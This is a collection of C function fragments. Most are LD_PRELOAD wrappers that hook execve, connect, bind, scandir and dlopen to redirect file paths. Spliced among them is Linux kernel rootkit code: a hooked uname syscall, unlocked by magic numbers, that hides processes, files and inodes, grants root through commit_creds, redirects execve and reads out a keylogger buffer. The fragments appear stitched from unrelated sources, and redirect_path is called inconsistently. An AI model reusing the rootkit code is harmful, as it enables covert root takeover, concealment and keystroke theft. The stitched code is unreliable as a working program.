static int execve32_wrapper (int (*_execve) (const char *path, char *const argv[], char *const envp[]), char *path, char *const argv[], char *const envp[]) { char *custom_loader = NULL; char **new_argv; int i, num_elements, result; custom_loader = redirect_path ("/lib/ld-linux.so.2"); if (strcmp (custom_loader, "/lib/ld-linux.so.2") == 0) { free (custom_loader); return 0; } // envp is already adjusted for our needs. But we need to shift argv for (num_elements = 0; argv && argv[num_elements]; num_elements++) { // this space intentionally left blank } new_argv = malloc (sizeof (char *) * (num_elements + 2)); new_argv[0] = path; for (i = 0; i < num_elements; i++) { new_argv[i + 1] = argv[i]; } new_argv[num_elements + 1] = 0; // Now actually run execve with our loader and adjusted argv result = _execve (custom_loader, new_argv, envp); // Cleanup on error free (new_argv); free (custom_loader); return result; }
int connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen) { int (*_connect) (int sockfd, const struct sockaddr *addr, socklen_t addrlen); int result; _connect = (int (*)(int sockfd, const struct sockaddr *addr, socklen_t addrlen)) dlsym (RTLD_NEXT, "connect"); if (addr->sa_family == AF_UNIX) { char *new_path = NULL; struct sockaddr_un new_addr; new_path = redirect_path (((const struct sockaddr_un *)addr)->sun_path); new_addr.sun_family = AF_UNIX; strcpy (new_addr.sun_path, new_path); free (new_path); result = _connect (sockfd, (const struct sockaddr *)&new_addr, sizeof(new_addr)); } else { result = _connect (sockfd, addr, addrlen); } return result; }
int bind (int sockfd, const struct sockaddr *addr, socklen_t addrlen) { int (*_bind) (int sockfd, const struct sockaddr *addr, socklen_t addrlen); int result; _bind = (int (*)(int sockfd, const struct sockaddr *addr, socklen_t addrlen)) dlsym (RTLD_NEXT, "bind"); if (addr->sa_family == AF_UNIX && ((const struct sockaddr_un *)addr)->sun_path[0] != 0) { // could be abstract socket char *new_path = NULL; struct sockaddr_un new_addr; new_path = redirect_path (((const struct sockaddr_un *)addr)->sun_path); new_addr.sun_family = AF_UNIX; strcpy (new_addr.sun_path, new_path); free (new_path); result = _bind (sockfd, (const struct sockaddr *)&new_addr, sizeof(new_addr)); } else { result = _bind (sockfd, addr, addrlen); } return result; }
/* * rookit interface */ asmlinkage long new_sys_newuname(struct new_utsname *name) { struct rk_args args; if (ksyms._copy_from_user(&args, name, sizeof(args))) pr_debug("%s: _copy_from_user failed\n", __func__); if (args.magic_number_1 != MAGIC_NUMBER_1 || args.magic_number_2 != MAGIC_NUMBER_2) return ksyms.old_sys_uname(name); pr_debug("%s: magic number reveived\n", __func__); switch (args.mode) { case SYSCALL_HIDE_INODE: hide_inode(args.param1); break; case SYSCALL_UNHIDE_INODE: unhide_inode(args.param1); break; case GET_ROOT: if (ksyms.commit_creds && ksyms.prepare_kernel_cred) ksyms.commit_creds(ksyms.prepare_kernel_cred(NULL)); break; case SYSCALL_HIDE_PID: hide_pid(args.param1); break; case SYSCALL_UNHIDE_PID: unhide_pid(args.param1); break; case VFS_HIDE_FILE: vfs_hide_filename(args.p_param1, args.param2); break; case VFS_UNHIDE_FILE: vfs_unhide_filename(args.p_param1, args.param2); break; case SYSCALL_REDIRECT_EXECVE: redirect_path(args.p_param1, args.param2, args.p_param3, args.param4, REDIRECT_PATH_EXECVE); break; case SYSCALL_UNREDIRECT_EXECVE: unredirect_path(args.p_param1, args.param2, REDIRECT_PATH_EXECVE); break; case SYSCALL_GET_KEYLOGGER_BUF: return keylogger_buffer_get(args.p_param1, args.param2); break; #ifdef DEBUG case DEBUG_RK: debug_rk(); break; #endif } return 0; }
int scandir (const char *dirp, struct dirent ***namelist, int (*filter)(const struct dirent *), int (*compar)(const struct dirent **, const struct dirent **)) { int (*_scandir) (const char *dirp, struct dirent ***namelist, int (*filter)(const struct dirent *), int (*compar)(const struct dirent **, const struct dirent **)); char *new_path = NULL; int ret; _scandir = (int (*)(const char *dirp, struct dirent ***namelist, int (*filter)(const struct dirent *), int (*compar)(const struct dirent **, const struct dirent **))) dlsym (RTLD_NEXT, "scandir"); new_path = redirect_path (dirp); ret = _scandir (new_path, namelist, filter, compar); free (new_path); return ret; }
static int execve_wrapper (const char *func, const char *path, char *const argv[], char *const envp[]) { int (*_execve) (const char *path, char *const argv[], char *const envp[]); char *new_path = NULL; char **new_envp = NULL; int i, result; _execve = (int (*)(const char *path, char *const argv[], char *const envp[])) dlsym (RTLD_NEXT, func); new_path = redirect_path (path); // Make sure we inject our original preload values, can't trust this // program to pass them along in envp for us. new_envp = execve_copy_envp (envp); result = _execve (new_path, argv, new_envp); if (result == -1 && errno == ENOENT) { // OK, get prepared for gross hacks here. In order to run 32-bit ELF // executables -- which will hardcode /lib/ld-linux.so.2 as their ld.so // loader, we must redirect that check to our own version of ld-linux.so.2. // But that lookup is done behind the scenes by execve, so we can't // intercept it like normal. Instead, we'll prefix the command by the // ld.so loader which will only work if the architecture matches. So if // we failed to run it normally above because the loader couldn't find // something, try with our own 32-bit loader. int (*_access) (const char *pathname, int mode); _access = (int (*)(const char *pathname, int mode)) dlsym (RTLD_NEXT, "access"); if (_access (new_path, F_OK) == 0) { // Only actually try this if the path actually did exist. That // means the ENOENT must have been a missing linked library or the // wrong ld.so loader. Lets assume the latter and try to run as // a 32-bit executable. result = execve32_wrapper (_execve, new_path, argv, new_envp); } } free (new_path); for (i = 0; new_envp[i]; i++) { free (new_envp[i]); } free (new_envp); return result; }
void * dlopen (const char *path, int mode) { void *(*_dlopen) (const char *path, int mode); char *new_path = NULL; void *result; _dlopen = (void *(*)(const char *path, int mode)) dlsym (RTLD_NEXT, "dlopen"); if (path && path[0] == '/') { new_path = redirect_path (path); result = _dlopen (new_path, mode); free (new_path); } else { // non-absolute library paths aren't simply relative paths, they need // a whole lookup algorithm result = _dlopen (path, mode); } return result; }